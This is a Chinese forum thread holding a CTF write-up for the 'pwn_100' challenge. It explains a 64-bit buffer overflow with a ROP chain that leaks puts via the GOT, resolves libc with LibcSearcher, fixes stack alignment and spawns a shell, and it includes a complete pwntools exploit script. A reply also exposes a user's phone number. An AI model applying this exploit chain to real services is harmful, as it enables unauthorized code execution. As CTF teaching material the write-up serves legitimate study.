吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4203|回复: 23
收起左侧

[CTF] pwn 64位构造libc获取sh踩坑(例题pwn_100)

  [复制链接]
HNHuangJingYU 发表于 2021-11-15 14:01
本帖最后由 HNHuangJingYU 于 2021-11-15 21:26 编辑

看了网上的wp好像也没完全说明payload的具体来源,为什么要这样写,害,我又是个好奇虫,每个payload都想搞清楚为什么,所以希望能帮到现在找不到资料的pwner们。。


这个题目在攻防世界里面,没有system,通过libc构造,分析题目如下:
image.png
image.png
这里传入了3个值,查看汇编代码可知实际函数只使用了参数一、参数二,那么这里a2就是200,里面的for循环也就是循环200次每次从控制台接收输入,也就题目会这样子写了,就是把读写进缓存区分成了200次,当然你也可以每次只输入1个字符那么输入200次后就是刚刚将你输入的内容全部读入,如果你第一次输入199个那么下一处就只用输入1个就可以满足条件了,那么payload如下:
[Python] 纯文本查看 复制代码

plt=e.plt["puts"]
got=e.got["puts"]
​
prdi = 0x0000000000400763
start_addr=  0x400550  #程序开始地址start函数处
exit_addr = 0x4006FF #程序结束地址 main函数return处
​
payload = b'A'*0x40 + b'B'*8   +p64(prdi) + p64(got) + p64(plt) + p64(start_addr)
success(str(len(payload))) #前部分payload刚好104个字节
payload += b'C'*96  #加上96刚好可以满足200跳出循环,,就这里我看很多wp都是直接加上200
sl(payload)#一次全部给他发送满200个数据,然后for就会退出循环




就加上200那里我有点不明白,如果加了200那不就会占据多余的栈空间吗,而且我试了网上很多的wp几乎没有跑出来的(我用的Ubuntu18)可能也是18栈对齐的一些原因吧,没办法我只好自己硬嗑原理,所以为了构造完美rop链就通过计算在后面加上96个字节使它刚好跳出循环。


然后在控制台上接收我们打印的libc真实地址


[Python] 纯文本查看 复制代码

ru('bye~\n')
leak = u64(ru('\n')[:-1].ljust(8,b'\0'))
success('leak -> 0x%x',leak)  #这里一定要去掉\n除了特定符号以\x0a或者\x00结尾(换行、字符串、动态基址)正常got函数地址都是没有的,所以这里一般没有以这两个字符结尾


接下来就是libc基址了
[Python] 纯文本查看 复制代码

libc = LibcSearcher('puts',leak)
libc_base = leak - libc.dump('puts')
success('libcbase -> 0x%x',libc_base) #如果libcbase打印出来以00结尾那么基本就没错


再次构造ROP获取shell
[Python] 纯文本查看 复制代码

#payload  = b'A'*0x40 + b'B'*8  +p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(libc_base + libc.dump('system')) + p64(start_addr) #原payload
payload  = b'A'*0x40 + b'B'*7  +p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(exit_addr) + p64(libc_base + libc.dump('system'))
success(str(len(payload)))
payload += b'C'*96 #这里就无所谓了设置200也行,收尾阶段不把程序搞奔溃就没事




可以看到上面我注释了一段payload,我叫它为‘p原’,在我获取了libc的地址后我高高兴兴的写出这个标准的64位ROP链,运行程序就发送奔溃了,然后我第一反应是栈对齐问题,打开gdb调试准备看看我构造的ROP链是否真的被完好执行

image.png


可以看到我构造的ROP链理想情况下是跳到pop rdi处执行但是这里就ret到了一个8个字节长度的地址,一看就不对,程序肯定报找不到地址的错误

image.png
然后我发现了上面rsp,也就是我填充的rbp的值,按照道理来说是8个B(这也是我区分缓冲区(A)和rbp(B)的原因,我看别人wp都是直接将填充rbp 的数据都用缓冲区数据一起代替,这不这题就踩坑了,估计找半天原因哈哈哈哈),找到了原因就好办了,因为我rbp给了8个值前面的缓存区值给多了一个,那么再改一次payload看看效果(这里是用原payload进行实验,为了给大家看看错误知道原理)

[Python] 纯文本查看 复制代码

payload  = b'A'*0x40 + b'B'*7  +p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(libc_base + libc.dump('system')) + p64(start_addr) #原payload


image.png


果然没错一下子就正常了,但是程序依旧报错,嗯。既然程序执行到了do_system函数还是报错,那么原因只有一个那就是栈没对齐,果断的去看看栈空间
image.png
哈哈哈,是吧,又验证了我的猜想一波,那么最后再改一下payload,因为是自己构造的system所以有点不一样,之前都是有后门函数给他地址+1就ok了,所以我在程序在跳转到system函数前我让它先进入到ret指令处再跳到system,完全不影响程序流程,单纯是为了对齐栈空间
那么payload如下:
payload  = b'A'*0x40 + b'B'*7  +p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(exit_addr) + p64(libc_base + libc.dump('system'))

为了验证猜想,那就再看看我构造的完美ROP链吧完整代码如下:



[Python] 纯文本查看 复制代码
from pwn import *
from LibcSearcher import *
context (log_level = 'debug' ,bits= 64,os = 'linux' ,arch = 'amd64' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])
#context (log_level = 'debug' ,bits= 64,os = 'linux' ,arch = 'amd64' ,terminal = ['tmux' , 'splitw', '-h'])
​
​
local = 1
binary_name = "pwn-100"
ip = "111.200.241.244"
port = 60408
​
if local:
         p = process(["./" + binary_name])
         e = ELF("./" + binary_name)
         # libc = e.libc
else:
         p = remote(ip, port)
         e = ELF("./" + binary_name)
         # libc = ELF("libc-2.23.so")
​
​
def z(a=''):
         if local:
                 gdb.attach(p, a)
                 if a == '':
                         raw_input()
         else:
                 pass
​
ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)
​
plt=e.plt["puts"]
got=e.got["puts"]
#func=e.symbols["vulnerable_function"]
​
#libc=ELF("./libc_32.so.6")
​
prdi = 0x0000000000400763
start_addr=  0x400550  #程序开始地址
exit_addr = 0x4006FF #程序结束地址
​
z('b *0x4006B1')
#payload = b'C'*96
payload = b'A'*0x40 + b'B'*8   +p64(prdi) + p64(got) + p64(plt) + p64(start_addr)
success(str(len(payload))) #104
payload += b'C'*96  #刚好可以满足200跳出循环
sl(payload)
​
ru('bye~\n')
leak = u64(ru('\n')[:-1].ljust(8,b'\0'))
success('leak -> 0x%x',leak) #
​
libc = LibcSearcher('puts',leak)
libc_base = leak - libc.dump('puts')
success('libcbase -> 0x%x',libc_base) #如果libcbase打印出来以00结尾那么基本就没错
​
#payload  = b'A'*0x40 + b'B'*7  +p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(libc_base + libc.dump('system')) + p64(start_addr)
payload  = b'A'*0x40 + b'B'*7  +p64(prdi) + p64(libc_base + libc.dump('str_bin_sh')) + p64(exit_addr) + p64(libc_base + libc.dump('system'))
success(str(len(payload)))
payload += b'C'*96
sl(payload)
p.interactive()



image.png


image.png


最后就可以进入大家想看到的交互模式了

免费评分

参与人数 5威望 +2 吾爱币 +104 热心值 +4 收起 理由
qpm + 1 + 1 谢谢@Thanks!
Hmily + 2 + 100 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
op1137420223 + 1 + 1 我很赞同!
qyhua + 1 用心讨论,共获提升!
makishiro + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

jffwoo 发表于 2022-4-1 08:31
HNHuangJingYU 发表于 2022-3-30 17:59
会C语言和一点点汇编就行,我觉得pwn是ctf最简单的。。。

老师可否加个微信,真心想向您请教学习,手机号和微信同号18905604369
 楼主| HNHuangJingYU 发表于 2022-3-30 17:59
本帖最后由 HNHuangJingYU 于 2022-4-2 01:36 编辑
jffwoo 发表于 2022-3-29 22:27
特别想学ctf里面的pwn,但是感觉太难了,不知道从何搞起

CTF主要是兴趣和思维,懂c和汇编就ok
ai123456 发表于 2021-11-15 14:58
lgmzyy 发表于 2021-11-15 15:15
感谢分析,学习中。。
lichuanqing 发表于 2021-11-15 15:51
很不错,感谢分享
SMQAQWO 发表于 2021-11-15 20:20
感谢大佬分享 爱你
makishiro 发表于 2021-11-15 20:31
多谢大佬分享
咔c君 发表于 2021-11-15 21:07
学习了不错
Llady 发表于 2021-11-16 07:22
感谢分享, 新人学习学习
ERROR: 发表于 2021-11-16 08:09
很详细的payload解析
surname26 发表于 2021-11-16 15:26
谢谢大佬分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 11:55

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表